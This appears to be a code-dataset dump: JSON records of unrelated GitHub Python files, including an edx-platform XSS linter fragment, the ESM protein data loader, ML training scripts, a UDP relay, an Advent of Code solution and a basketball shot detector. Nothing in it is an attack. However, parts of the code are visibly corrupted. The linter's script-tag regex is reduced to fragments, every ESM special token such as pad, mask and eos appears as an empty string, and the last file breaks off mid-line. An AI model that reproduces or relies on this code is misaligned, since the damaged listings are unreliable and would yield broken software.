parse_string = self._find_string_wrapping_expression(mako_template, expression)\n if parse_string is None:\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_js_missing_quotes, expression\n ))\n\n def _check_js_expression_not_with_html(self, mako_template, expression, results):\n \"\"\"\n Checks that a Mako expression in a JavaScript context does not appear in\n a string that also contains HTML.\n\n Arguments:\n mako_template: The contents of the Mako template.\n expression: A Mako Expression.\n results: A list of results into which violations will be added.\n \"\"\"\n parse_string = self._find_string_wrapping_expression(mako_template, expression)\n if parse_string is not None and re.search('[<>]', parse_string.string) is not None:\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_js_html_string, expression\n ))\n\n def _find_string_wrapping_expression(self, mako_template, expression):\n \"\"\"\n Finds the string wrapping the Mako expression if there is one.\n\n Arguments:\n mako_template: The contents of the Mako template.\n expression: A Mako Expression.\n\n Returns:\n ParseString representing a scrubbed version of the wrapped string,\n where the Mako expression was replaced with \"${...}\", if a wrapped\n string was found. Otherwise, returns None if none found.\n \"\"\"\n lines = StringLines(mako_template)\n start_index = lines.index_to_line_start_index(expression.start_index)\n if expression.end_index is not None:\n end_index = lines.index_to_line_end_index(expression.end_index)\n else:\n return None\n # scrub out the actual expression so any code inside the expression\n # doesn't interfere with rules applied to the surrounding code (i.e.\n # checking JavaScript).\n scrubbed_lines = \"\".join((\n mako_template[start_index:expression.start_index],\n \"${...}\",\n mako_template[expression.end_index:end_index]\n ))\n adjusted_start_index = expression.start_index - start_index\n start_index = 0\n while True:\n parse_string = ParseString(scrubbed_lines, start_index, len(scrubbed_lines))\n # check for validly parsed string\n if (parse_string.start_index is not None and parse_string.end_index is not None) \\\n and (0 <= parse_string.start_index < parse_string.end_index):\n # check if expression is contained in the given string\n if parse_string.start_index < adjusted_start_index < parse_string.end_index:\n return parse_string\n else:\n # move to check next string\n start_index = parse_string.end_index\n else:\n break\n return None\n\n def _get_contexts(self, mako_template):\n \"\"\"\n Returns a data structure that represents the indices at which the\n template changes from HTML context to JavaScript and back.\n\n Return:\n A list of dicts where each dict contains:\n - index: the index of the context.\n - type: the context type (e.g. 'html' or 'javascript').\n \"\"\"\n contexts_re = re.compile(\n r\"\"\"\n | # script tag start\n | # script tag end\n <%static:require_module(_async)?.*?(? | # require js script tag start (optionally the _async version)\n | # require js script tag end (optionally the _async version)\n <%static:webpack.*(? | # webpack script tag start\n | # webpack script tag end\n <%static:studiofrontend.*?(? | # studiofrontend script tag start\n | # studiofrontend script tag end\n <%block[ ]*name=['\"]requirejs['\"]\\w*(? | # require js tag start\n # require js tag end\n \"\"\",\n re.VERBOSE | re.IGNORECASE\n )\n media_type_re = re.compile(r\"\"\"type=['\"].*?['\"]\"\"\", re.IGNORECASE)\n\n contexts = [{'index': 0, 'type': 'html'}]\n javascript_types = [\n 'text/javascript', 'text/ecmascript', 'application/ecmascript', 'application/javascript',\n 'text/x-mathjax-config', 'json/xblock-args', 'application/json',\n ]\n html_types = ['text/template']\n for context in contexts_re.finditer(mako_template):\n match_string = context.group().lower()\n if match_string.startswith(\"= start_comment.start()) and \\\n (expr.start() <= end_comment.start()):\n return True\n","repo_name":"openedx/edx-platform","sub_path":"scripts/xsslint/xsslint/linters.py","file_name":"linters.py","file_ext":"py","file_size_in_byte":66920,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"26798114203","text":"def LR_range_finder(model, train_dl, lr_low=1e-5, lr_high=1, epochs=1, beta=0.9):\n losses = []\n # Model save path\n p = PATH/\"mode_tmp.pth\"\n save_model(model, str(p))\n num = len(train_dl)-1\n mult = (lr_high / lr_low) ** (1.0/num)\n lr = lr_low\n avg_loss = 0.\n best_loss = 0.\n batch_num = 0\n log_lrs = []\n\n model.train()\n for i in range(epochs):\n for x,y in train_dl:\n batch_num +=1\n optim = get_optimizer(model, lr=lr)\n x = x.cuda().float()\n y = y.cuda().long() \n out = model(x)\n criterion = nn.CrossEntropyLoss()\n loss = criterion(out, y)\n\n #Compute the smoothed loss\n avg_loss = beta * avg_loss + (1-beta) *loss.item()\n smoothed_loss = avg_loss / (1 - beta**batch_num)\n\n #Stop if the loss is exploding\n if batch_num > 1 and smoothed_loss > 4 * best_loss:\n return log_lrs, losses\n\n #Record the best loss\n if smoothed_loss < best_loss or batch_num==1:\n best_loss = smoothed_loss\n #Store the values\n losses.append(smoothed_loss)\n log_lrs.append(math.log10(lr))\n\n optim.zero_grad()\n loss.backward()\n optim.step()\n #Update the lr for the next step\n lr *= mult\n load_model(model, str(p))\n return log_lrs, losses\nlrs, losses = LR_range_finder(model, train_loader, lr_low=1e-7, lr_high=0.01)\nplt.plot(lrs, losses)\nplt.show()\n","repo_name":"ngthanhtin/Automate_Research","sub_path":"LR_Finder.py","file_name":"LR_Finder.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29540450768","text":"import socket\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\nmIP = input()\r\nmPort = input()\r\nsock.bind((mIP, int(mPort)))\r\nwhile True:\r\n\taccount = 0\r\n\taddrList = []\r\n\tdataList = []\r\n\twhile account<2:\r\n\t\tdata,addr = sock.recvfrom(1024)\r\n\t\ttmpMsg = addr[0]+','+data.decode(encoding = \"utf-8\")\r\n\t\tprint(tmpMsg)\t# debug \r\n\t\taddrList.append(addr)\r\n\t\tdataList.append(tmpMsg)\r\n\t\taccount += 1\r\n\r\n\tsock.sendto(dataList[1].encode(encoding = \"utf-8\"), addrList[0])\r\n\tsock.sendto(dataList[0].encode(encoding = \"utf-8\"), addrList[1])","repo_name":"thuczy/lab4","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71353893842","text":"#!/usr/bin/env python3\n\nplays = {\n 'A': 'rock',\n 'B': 'paper',\n 'C': 'scissors'\n}\n\ncan_beat = {\n 'A': 'C',\n 'B': 'A',\n 'C': 'B'\n}\n\nneed_to_do = {\n 'X': 'lose',\n 'Y': 'draw',\n 'Z': 'win'\n}\n\nwith open(\"data_day2.txt\") as data_file:\n data = [x.strip().split() for x in data_file]\n \ntotal_score = 0\nlosses = 0\nwins = 0\ndraws = 0\n\nfor x in data:\n (elf, mine) = x\n my_play = None\n if mine == 'Z':\n wins += 1\n total_score += 6\n for play in plays:\n if can_beat[play] == elf:\n my_play = play\n print(f\"\\n{plays[play]} beats {plays[elf]}\")\n elif mine == 'Y':\n draws += 1\n my_play = elf\n total_score += 3\n else:\n losses += 1\n my_play = can_beat[elf]\n print(f\"\\n{plays[my_play]} loses to {plays[elf]}\")\n \n for score, play in enumerate(('A', 'B', 'C'), 1):\n if play == my_play:\n total_score += score\n \n print(f\"\\nplay {plays[my_play]} against {plays[elf]} when I should {need_to_do[mine]}\")\n\nprint(f\"\\n\\nlosses: {losses} wins: {wins} draws: {draws}\")\nprint(f\"\\ntotal score: {total_score}\")\n","repo_name":"flibbertigibbet/adventOfCode2022","sub_path":"day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20074174154","text":"import itertools\nimport os\nfrom typing import Sequence, Tuple, List, Union\nimport pickle\nimport re\nimport shutil\nimport torch\nfrom pathlib import Path\nfrom esm.constants import proteinseq_toks\n\nRawMSA = Sequence[Tuple[str, str]]\n\n\nclass FastaBatchedDataset(object):\n def __init__(self, sequence_labels, sequence_strs):\n self.sequence_labels = list(sequence_labels)\n self.sequence_strs = list(sequence_strs)\n\n @classmethod\n def from_file(cls, fasta_file):\n sequence_labels, sequence_strs = [], []\n cur_seq_label = None\n buf = []\n\n def _flush_current_seq():\n nonlocal cur_seq_label, buf\n if cur_seq_label is None:\n return\n sequence_labels.append(cur_seq_label)\n sequence_strs.append(\"\".join(buf))\n cur_seq_label = None\n buf = []\n\n with open(fasta_file, \"r\") as infile:\n for line_idx, line in enumerate(infile):\n if line.startswith(\">\"): # label line\n _flush_current_seq()\n line = line[1:].strip()\n if len(line) > 0:\n cur_seq_label = line\n else:\n cur_seq_label = f\"seqnum{line_idx:09d}\"\n else: # sequence line\n buf.append(line.strip())\n\n _flush_current_seq()\n\n assert len(set(sequence_labels)) == len(\n sequence_labels\n ), \"Found duplicate sequence labels\"\n\n return cls(sequence_labels, sequence_strs)\n\n def __len__(self):\n return len(self.sequence_labels)\n\n def __getitem__(self, idx):\n return self.sequence_labels[idx], self.sequence_strs[idx]\n\n def get_batch_indices(self, toks_per_batch, extra_toks_per_seq=0):\n sizes = [(len(s), i) for i, s in enumerate(self.sequence_strs)]\n sizes.sort()\n batches = []\n buf = []\n max_len = 0\n\n def _flush_current_buf():\n nonlocal max_len, buf\n if len(buf) == 0:\n return\n batches.append(buf)\n buf = []\n max_len = 0\n\n for sz, i in sizes:\n sz += extra_toks_per_seq\n if max(sz, max_len) * (len(buf) + 1) > toks_per_batch:\n _flush_current_buf()\n max_len = max(max_len, sz)\n buf.append(i)\n\n _flush_current_buf()\n return batches\n\n\nclass Alphabet(object):\n def __init__(\n self,\n standard_toks: Sequence[str],\n prepend_toks: Sequence[str] = (\"\", \"\", \"\", \"\"),\n append_toks: Sequence[str] = (\"\", \"\", \"\"),\n prepend_bos: bool = True,\n append_eos: bool = False,\n use_msa: bool = False,\n ):\n self.standard_toks = list(standard_toks)\n self.prepend_toks = list(prepend_toks)\n self.append_toks = list(append_toks)\n self.prepend_bos = prepend_bos\n self.append_eos = append_eos\n self.use_msa = use_msa\n\n self.all_toks = list(self.prepend_toks)\n self.all_toks.extend(self.standard_toks)\n for i in range((8 - (len(self.all_toks) % 8)) % 8):\n self.all_toks.append(f\"\")\n self.all_toks.extend(self.append_toks)\n\n self.tok_to_idx = {tok: i for i, tok in enumerate(self.all_toks)}\n\n self.unk_idx = self.tok_to_idx[\"\"]\n self.padding_idx = self.get_idx(\"\")\n self.cls_idx = self.get_idx(\"\")\n self.mask_idx = self.get_idx(\"\")\n self.eos_idx = self.get_idx(\"\")\n self.all_special_tokens = ['', '', '', '', '']\n self.unique_no_split_tokens = self.all_toks\n\n def __len__(self):\n return len(self.all_toks)\n\n def get_idx(self, tok):\n return self.tok_to_idx.get(tok, self.unk_idx)\n\n def get_tok(self, ind):\n return self.all_toks[ind]\n\n def to_dict(self):\n return self.tok_to_idx.copy()\n\n def get_batch_converter(self, truncation_seq_length: int = None):\n if self.use_msa:\n return MSABatchConverter(self, truncation_seq_length)\n else:\n return BatchConverter(self, truncation_seq_length)\n\n @classmethod\n def from_architecture(cls, name: str) -> \"Alphabet\":\n if name in (\"ESM-1\", \"protein_bert_base\"):\n standard_toks = proteinseq_toks[\"toks\"]\n prepend_toks: Tuple[str, ...] = (\"\", \"\", \"\", \"\")\n append_toks: Tuple[str, ...] = (\"\", \"\", \"\")\n prepend_bos = True\n append_eos = False\n use_msa = False\n elif name in (\"ESM-1b\", \"roberta_large\"):\n standard_toks = proteinseq_toks[\"toks\"]\n prepend_toks = (\"\", \"\", \"\", \"\")\n append_toks = (\"\",)\n prepend_bos = True\n append_eos = True\n use_msa = False\n elif name in (\"MSA Transformer\", \"msa_transformer\"):\n standard_toks = proteinseq_toks[\"toks\"]\n prepend_toks = (\"\", \"\", \"\", \"\")\n append_toks = (\"\",)\n prepend_bos = True\n append_eos = False\n use_msa = True\n elif \"invariant_gvp\" in name.lower():\n standard_toks = proteinseq_toks[\"toks\"]\n prepend_toks = (\"\", \"\", \"\", \"\")\n append_toks = (\"\", \"\", \"\")\n prepend_bos = True\n append_eos = False\n use_msa = False\n else:\n raise ValueError(\"Unknown architecture selected\")\n return cls(standard_toks, prepend_toks, append_toks, prepend_bos, append_eos, use_msa)\n\n def _tokenize(self, text) -> str:\n return text.split()\n\n def tokenize(self, text, **kwargs) -> List[str]:\n \"\"\"\n Inspired by https://github.com/huggingface/transformers/blob/master/src/transformers/tokenization_utils.py\n Converts a string in a sequence of tokens, using the tokenizer.\n\n Args:\n text (:obj:`str`):\n The sequence to be encoded.\n\n Returns:\n :obj:`List[str]`: The list of tokens.\n \"\"\"\n\n def split_on_token(tok, text):\n result = []\n split_text = text.split(tok)\n for i, sub_text in enumerate(split_text):\n # AddedToken can control whitespace stripping around them.\n # We use them for GPT2 and Roberta to have different behavior depending on the special token\n # Cf. https://github.com/huggingface/transformers/pull/2778\n # and https://github.com/huggingface/transformers/issues/3788\n # We strip left and right by default\n if i < len(split_text) - 1:\n sub_text = sub_text.rstrip()\n if i > 0:\n sub_text = sub_text.lstrip()\n\n if i == 0 and not sub_text:\n result.append(tok)\n elif i == len(split_text) - 1:\n if sub_text:\n result.append(sub_text)\n else:\n pass\n else:\n if sub_text:\n result.append(sub_text)\n result.append(tok)\n return result\n\n def split_on_tokens(tok_list, text):\n if not text.strip():\n return []\n\n tokenized_text = []\n text_list = [text]\n for tok in tok_list:\n tokenized_text = []\n for sub_text in text_list:\n if sub_text not in self.unique_no_split_tokens:\n tokenized_text.extend(split_on_token(tok, sub_text))\n else:\n tokenized_text.append(sub_text)\n text_list = tokenized_text\n\n return list(\n itertools.chain.from_iterable(\n (\n self._tokenize(token)\n if token not in self.unique_no_split_tokens\n else [token]\n for token in tokenized_text\n )\n )\n )\n\n no_split_token = self.unique_no_split_tokens\n tokenized_text = split_on_tokens(no_split_token, text)\n return tokenized_text\n\n def encode(self, text):\n return [self.tok_to_idx[tok] for tok in self.tokenize(text)]\n\n\nclass BatchConverter(object):\n \"\"\"Callable to convert an unprocessed (labels + strings) batch to a\n processed (labels + tensor) batch.\n \"\"\"\n\n def __init__(self, alphabet, truncation_seq_length: int = None):\n self.alphabet = alphabet\n self.truncation_seq_length = truncation_seq_length\n\n def __call__(self, raw_batch: Sequence[Tuple[str, str]]):\n # RoBERTa uses an eos token, while ESM-1 does not.\n batch_size = len(raw_batch)\n batch_labels, seq_str_list = zip(*raw_batch)\n seq_encoded_list = [self.alphabet.encode(seq_str) for seq_str in seq_str_list]\n if self.truncation_seq_length:\n seq_encoded_list = [seq_str[:self.truncation_seq_length] for seq_str in seq_encoded_list]\n max_len = max(len(seq_encoded) for seq_encoded in seq_encoded_list)\n tokens = torch.empty(\n (\n batch_size,\n max_len + int(self.alphabet.prepend_bos) + int(self.alphabet.append_eos),\n ),\n dtype=torch.int64,\n )\n tokens.fill_(self.alphabet.padding_idx)\n labels = []\n strs = []\n\n for i, (label, seq_str, seq_encoded) in enumerate(\n zip(batch_labels, seq_str_list, seq_encoded_list)\n ):\n labels.append(label)\n strs.append(seq_str)\n if self.alphabet.prepend_bos:\n tokens[i, 0] = self.alphabet.cls_idx\n seq = torch.tensor(seq_encoded, dtype=torch.int64)\n tokens[\n i,\n int(self.alphabet.prepend_bos) : len(seq_encoded)\n + int(self.alphabet.prepend_bos),\n ] = seq\n if self.alphabet.append_eos:\n tokens[i, len(seq_encoded) + int(self.alphabet.prepend_bos)] = self.alphabet.eos_idx\n\n return labels, strs, tokens\n\n\nclass MSABatchConverter(BatchConverter):\n def __call__(self, inputs: Union[Sequence[RawMSA], RawMSA]):\n if isinstance(inputs[0][0], str):\n # Input is a single MSA\n raw_batch: Sequence[RawMSA] = [inputs] # type: ignore\n else:\n raw_batch = inputs # type: ignore\n\n batch_size = len(raw_batch)\n max_alignments = max(len(msa) for msa in raw_batch)\n max_seqlen = max(len(msa[0][1]) for msa in raw_batch)\n\n tokens = torch.empty(\n (\n batch_size,\n max_alignments,\n max_seqlen + int(self.alphabet.prepend_bos) + int(self.alphabet.append_eos),\n ),\n dtype=torch.int64,\n )\n tokens.fill_(self.alphabet.padding_idx)\n labels = []\n strs = []\n\n for i, msa in enumerate(raw_batch):\n msa_seqlens = set(len(seq) for _, seq in msa)\n if not len(msa_seqlens) == 1:\n raise RuntimeError(\n \"Received unaligned sequences for input to MSA, all sequence \"\n \"lengths must be equal.\"\n )\n msa_labels, msa_strs, msa_tokens = super().__call__(msa)\n labels.append(msa_labels)\n strs.append(msa_strs)\n tokens[i, : msa_tokens.size(0), : msa_tokens.size(1)] = msa_tokens\n\n return labels, strs, tokens\n\n\ndef read_fasta(\n path,\n keep_gaps=True,\n keep_insertions=True,\n to_upper=False,\n):\n with open(path, \"r\") as f:\n for result in read_alignment_lines(\n f, keep_gaps=keep_gaps, keep_insertions=keep_insertions, to_upper=to_upper\n ):\n yield result\n\n\ndef read_alignment_lines(\n lines,\n keep_gaps=True,\n keep_insertions=True,\n to_upper=False,\n):\n seq = desc = None\n\n def parse(s):\n if not keep_gaps:\n s = re.sub(\"-\", \"\", s)\n if not keep_insertions:\n s = re.sub(\"[a-z]\", \"\", s)\n return s.upper() if to_upper else s\n\n for line in lines:\n # Line may be empty if seq % file_line_width == 0\n if len(line) > 0 and line[0] == \">\":\n if seq is not None:\n yield desc, parse(seq)\n desc = line.strip().lstrip(\">\")\n seq = \"\"\n else:\n assert isinstance(seq, str)\n seq += line.strip()\n assert isinstance(seq, str) and isinstance(desc, str)\n yield desc, parse(seq)\n\n\nclass ESMStructuralSplitDataset(torch.utils.data.Dataset):\n \"\"\"\n Structural Split Dataset as described in section A.10 of the supplement of our paper.\n https://doi.org/10.1101/622803\n\n We use the full version of SCOPe 2.07, clustered at 90% sequence identity,\n generated on January 23, 2020.\n\n For each SCOPe domain:\n - We extract the sequence from the corresponding PDB file\n - We extract the 3D coordinates of the Carbon beta atoms, aligning them\n to the sequence. We put NaN where Cb atoms are missing.\n - From the 3D coordinates, we calculate a pairwise distance map, based\n on L2 distance\n - We use DSSP to generate secondary structure labels for the corresponding\n PDB file. This is also aligned to the sequence. We put - where SSP\n labels are missing.\n\n For each SCOPe classification level of family/superfamily/fold (in order of difficulty),\n we have split the data into 5 partitions for cross validation. These are provided\n in a downloaded splits folder, in the format:\n splits/{split_level}/{cv_partition}/{train|valid}.txt\n where train is the partition and valid is the concatentation of the remaining 4.\n\n For each SCOPe domain, we provide a pkl dump that contains:\n - seq : The domain sequence, stored as an L-length string\n - ssp : The secondary structure labels, stored as an L-length string\n - dist : The distance map, stored as an LxL numpy array\n - coords : The 3D coordinates, stored as an Lx3 numpy array\n\n \"\"\"\n\n base_folder = \"structural-data\"\n file_list = [\n # url tar filename filename MD5 Hash\n (\n \"https://dl.fbaipublicfiles.com/fair-esm/structural-data/splits.tar.gz\",\n \"splits.tar.gz\",\n \"splits\",\n \"456fe1c7f22c9d3d8dfe9735da52411d\",\n ),\n (\n \"https://dl.fbaipublicfiles.com/fair-esm/structural-data/pkl.tar.gz\",\n \"pkl.tar.gz\",\n \"pkl\",\n \"644ea91e56066c750cd50101d390f5db\",\n ),\n ]\n\n def __init__(\n self,\n split_level,\n cv_partition,\n split,\n root_path=os.path.expanduser(\"~/.cache/torch/data/esm\"),\n download=False,\n ):\n super().__init__()\n assert split in [\n \"train\",\n \"valid\",\n ], \"train_valid must be 'train' or 'valid'\"\n self.root_path = root_path\n self.base_path = os.path.join(self.root_path, self.base_folder)\n\n # check if root path has what you need or else download it\n if download:\n self.download()\n\n self.split_file = os.path.join(\n self.base_path, \"splits\", split_level, cv_partition, f\"{split}.txt\"\n )\n self.pkl_dir = os.path.join(self.base_path, \"pkl\")\n self.names = []\n with open(self.split_file) as f:\n self.names = f.read().splitlines()\n\n def __len__(self):\n return len(self.names)\n\n def _check_exists(self) -> bool:\n for (_, _, filename, _) in self.file_list:\n fpath = os.path.join(self.base_path, filename)\n if not os.path.exists(fpath) or not os.path.isdir(fpath):\n return False\n return True\n\n def download(self):\n\n if self._check_exists():\n print(\"Files already downloaded and verified\")\n return\n\n from torchvision.datasets.utils import download_url\n\n for url, tar_filename, filename, md5_hash in self.file_list:\n download_path = os.path.join(self.base_path, tar_filename)\n download_url(url=url, root=self.base_path, filename=tar_filename, md5=md5_hash)\n shutil.unpack_archive(download_path, self.base_path)\n\n def __getitem__(self, idx):\n \"\"\"\n Returns a dict with the following entires\n - seq : Str (domain sequence)\n - ssp : Str (SSP labels)\n - dist : np.array (distance map)\n - coords : np.array (3D coordinates)\n \"\"\"\n name = self.names[idx]\n pkl_fname = os.path.join(self.pkl_dir, name[1:3], f\"{name}.pkl\")\n with open(pkl_fname, \"rb\") as f:\n obj = pickle.load(f)\n return obj\n","repo_name":"facebookresearch/esm","sub_path":"esm/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":17065,"program_lang":"python","lang":"en","doc_type":"code","stars":2471,"dataset":"github-code","pt":"3"} +{"seq_id":"18010172032","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 18 12:40:56 2021\r\n\r\n@author: Michael\r\n\"\"\"\r\nimport os\r\nimport sys\r\nfrom itertools import permutations\r\nimport os.path as osp\r\nimport argparse\r\nfrom datetime import datetime\r\n\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nfrom tqdm import tqdm\r\nimport numpy as np\r\nimport scipy.io as sio\r\n\r\nsys.path.append(osp.join(os.getcwd(),'src'))\r\nimport diffusion_net\r\n\r\nfrom matching_dataset import MatchingDataset\r\n\r\n\r\n# === Options\r\n\r\n# Parse a few args\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--evaluate\", action=\"store_true\", help=\"evaluate using the pretrained model\")\r\nparser.add_argument(\"--input_features\", type=str, help=\"what features to use as input ('xyz' or 'hks') default: hks\", default = 'hks')\r\nargs = parser.parse_args()\r\n\r\n\r\n# system things\r\ndevice = torch.device('cuda:0')\r\ndtype = torch.float32\r\n\r\n\r\n# model \r\n# input_features = args.input_features # one of ['xyz', 'hks']\r\ninput_features = 'hks'\r\nk_eig = 128\r\n\r\n# training settings\r\ntrain = not args.evaluate\r\nn_epoch = 2\r\nlr = 1e-3\r\n\r\n# Important paths\r\nbase_path = osp.dirname(__file__)\r\ndataset_path = osp.join(base_path, 'data','faust_5k')\r\npretrain_path = osp.join(dataset_path, \"pretrained_models/faust_{}_4x128.pth\".format(input_features))\r\n# model_save_path = os.path.join(dataset_path, 'saved_models','t_hk1104_faust_{}_4x128.pth'.format(input_features))\r\n\r\n\r\n# Load the train dataset\r\nif train:\r\n train_dataset = MatchingDataset(dataset_path, train=True, k_eig=k_eig, use_cache=True)\r\n train_loader = DataLoader(train_dataset, batch_size=None, shuffle=True)\r\n now = datetime.now()\r\n folder_str = now.strftime(\"%Y_%m_%d__%H_%M_%S\")\r\n model_save_dir=osp.join(dataset_path,'save_models',folder_str)\r\n diffusion_net.utils.ensure_dir_exists(model_save_dir)\r\n\r\n# === Create the model\r\n\r\nC_in={'xyz':3, 'hks':16}[input_features] # dimension of input features\r\n\r\n\r\n\r\nmodel = diffusion_net.layers.RFMNet(C_in=C_in,C_out=256)\r\n\r\nmodel = model.to(device)\r\n\r\nif not train:\r\n # load the pretrained model\r\n print(\"Loading pretrained model from: \" + str(pretrain_path))\r\n model.load_state_dict(torch.load(pretrain_path))\r\n\r\n# === Optimize\r\noptimizer = torch.optim.Adam(model.parameters(), lr=lr)\r\n\r\ndef train_epoch(epoch):\r\n # Set model to 'train' mode\r\n model.train()\r\n optimizer.zero_grad()\r\n \r\n total_loss = 0.0\r\n total_num = 0\r\n for data in tqdm(train_loader):\r\n\r\n # Get data\r\n descs_x,massvec_x,evals_x,evecs_x,gs_x,gradX_x,gradY_x,\\\r\n descs_y,massvec_y,evals_y,evecs_y,gs_y,gradX_y,gradY_y=data\r\n \r\n # Move to device\r\n descs_x=descs_x.to(device)\r\n massvec_x=massvec_x.to(device)\r\n evals_x=evals_x.to(device)\r\n evecs_x=evecs_x.to(device)\r\n gs_x=gs_x.to(device)\r\n gradX_x=gradX_x.to(device) \r\n gradY_x=gradY_x.to(device) #[N,N]\r\n\r\n descs_y=descs_y.to(device)\r\n massvec_y=massvec_y.to(device)\r\n evals_y=evals_y.to(device)\r\n evecs_y=evecs_y.to(device)\r\n gs_y=gs_y.to(device)\r\n gradX_y=gradX_y.to(device)\r\n gradY_y=gradY_y.to(device)\r\n\r\n # Apply the model\r\n loss, C = model(descs_x,massvec_x,evals_x,evecs_x,gs_x,gradX_x,gradY_x,\\\r\n descs_y,massvec_y,evals_y,evecs_y,gs_y,gradX_y,gradY_y)\r\n\r\n # Evaluate loss\r\n loss.backward()\r\n \r\n # track accuracy\r\n total_loss+=loss.item()\r\n total_num += 1\r\n\r\n # Step the optimizer\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n\r\n if total_num%100==0:\r\n print('Iterations: {:02d}, train loss: {:.4f}'.format(total_num, total_loss / total_num))\r\n total_loss=0.0\r\n total_num=0\r\n\r\nif train:\r\n print(\"Training...\")\r\n\r\n for epoch in range(n_epoch):\r\n train_acc = train_epoch(epoch)\r\n \r\n model_save_path=osp.join(model_save_dir,'ckpt_ep{}.pth'.format(n_epoch))\r\n torch.save(model.state_dict(), model_save_path)\r\n\r\n print(\" ==> saving last model to \" + model_save_path)\r\n torch.save(model.state_dict(), model_save_path)\r\n \r\n\r\n# Test\r\n# Load the test dataset\r\ntest_dataset = MatchingDataset(dataset_path, train=False, k_eig=k_eig, use_cache=True)\r\ntest_loader = DataLoader(test_dataset, batch_size=None)\r\n\r\nresults_dir=osp.join(model_save_dir,'hks_results')\r\ndiffusion_net.utils.ensure_dir_exists(results_dir)\r\n\r\n \r\nfile=osp.join(dataset_path,'files_test.txt')\r\nwith open(file, 'r') as f:\r\n names = [line.rstrip() for line in f]\r\n\r\ncombinations = list(permutations(range(len(names)), 2))\r\n\r\nmodel.eval()\r\nwith torch.no_grad():\r\n count=0\r\n for data in test_loader:\r\n descs_x,massvec_x,evals_x,evecs_x,gs_x,gradX_x,gradY_x,\\\r\n descs_y,massvec_y,evals_y,evecs_y,gs_y,gradX_y,gradY_y=data\r\n \r\n # Move to device\r\n descs_x=descs_x.to(device)\r\n massvec_x=massvec_x.to(device)\r\n evals_x=evals_x.to(device)\r\n evecs_x=evecs_x.to(device)\r\n gs_x=gs_x.to(device)\r\n gradX_x=gradX_x.to(device)\r\n gradY_x=gradY_x.to(device)\r\n\r\n descs_y=descs_y.to(device)\r\n massvec_y=massvec_y.to(device)\r\n evals_y=evals_y.to(device)\r\n evecs_y=evecs_y.to(device)\r\n gs_y=gs_y.to(device)\r\n gradX_y=gradX_y.to(device)\r\n gradY_y=gradY_y.to(device)\r\n\r\n \r\n # Apply the model\r\n C, T = model.model_test_opt(descs_x,massvec_x,evals_x,evecs_x,gs_x,gradX_x,gradY_x,\\\r\n descs_y,massvec_y,evals_y,evecs_y,gs_y,gradX_y,gradY_y)\r\n \r\n idx1,idx2=combinations[count]\r\n count+=1\r\n\r\n results_path=osp.join(results_dir,names[idx1]+'_'+names[idx2]+'.mat')\r\n sio.savemat(results_path, {'C':C.to('cpu').numpy().astype(np.float32),\r\n 'T':T.to('cpu').numpy().astype(np.int64)+1}) # T: convert to matlab index\r\n","repo_name":"Qinsong-Li/RFMNet","sub_path":"faust_r_train.py","file_name":"faust_r_train.py","file_ext":"py","file_size_in_byte":5908,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"35463779659","text":"from state import GameState, ShotAttempt, Box, Interval\n\n\nclass ShotFrame:\n def __init__(self):\n self.top: bool = False\n self.rim: bool = False\n\n\ndef detect_shot(state: GameState, inte: Interval, window: int) -> ShotAttempt:\n \"\"\"\n Returns a ShotAttempt analyzing frames along the interval\n window: margin of error in frames from top to rim box\n \"\"\"\n sa = ShotAttempt(inte.playerid, inte.start, inte.end)\n sfs: list[ShotFrame] = []\n for i in range(sa.start, sa.end + 1): # construct sfs of shot frames\n rim = state.frames[i].rim\n h = rim.ymax - rim.ymin\n top = Box(rim.xmin, rim.ymin - h, rim.xmax, rim.ymax - h) # top rim box\n ball = state.frames[i].ball\n\n sf = ShotFrame()\n if ball is None or rim is None:\n pass\n else:\n if ball.box.intersects(top):\n sf.top = True\n if rim.contains(ball.box):\n sf.rim = True\n sfs.append(sf)\n\n r = 0 # freq rim intersects in window\n for i in range(len(sfs) - window):\n if sfs[i + window].rim:\n r += 1 # add to window\n if sfs[i].top and r > 0:\n sa.made = True # made shot detected\n sa.frame = i + sa.start\n if sfs[i].rim:\n r -= 1 # remove from window\n\n return sa\n\n\ndef shots(state: GameState, window: int):\n \"\"\"\n Calculate shots throughout game\n window: margin of error in frames from top to rim box\n Assumption:\n shots are counted as breaks between possesssions\n \"\"\"\n # Create intervals of shots\n shots: list[Interval] = []\n poss = state.possessions\n for i in range(len(poss) - 1):\n p1 = poss[i]\n p2 = poss[i + 1]\n shots.append(Interval(p1.playerid, p1.end, p2.start))\n\n for inte in shots:\n sa: ShotAttempt = detect_shot(state, inte, window=window)\n state.shot_attempts.append(sa)\n\n state.populate_players_stats() # populate players stats\n state.populate_team_stats() # populate team stats\n","repo_name":"CornellDataScience/Ball-101","sub_path":"src/processing/shot.py","file_name":"shot.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42562525732","text":"import requests\r\nimport re\r\nimport json\r\n\r\nurl = \"https://pogoda.ngs.ru/\"\r\nr = requests.get(url)\r\nstart = re.split(r'au-cr-select__box _container_all_regions',r.text)\r\nend = re.split(r'au-container-cities-in-region _container_cities_in_region',start[1])\r\nregion = re.findall(r'data-id=\"(\\d{0,6})\"',end[0])\r\nfor i in range(len(region)):\r\n data = json.dumps({\"jsonrpc\": \"2.0\", \"method\": \"getCities\", \"params\": [\"region=\" + region[i]], \"id\": 0})\r\n obl = requests.post(\"https://pogoda.ngs.ru/menu/json\", data)\r\n dat = obl.json()\r\n try:\r\n for n in 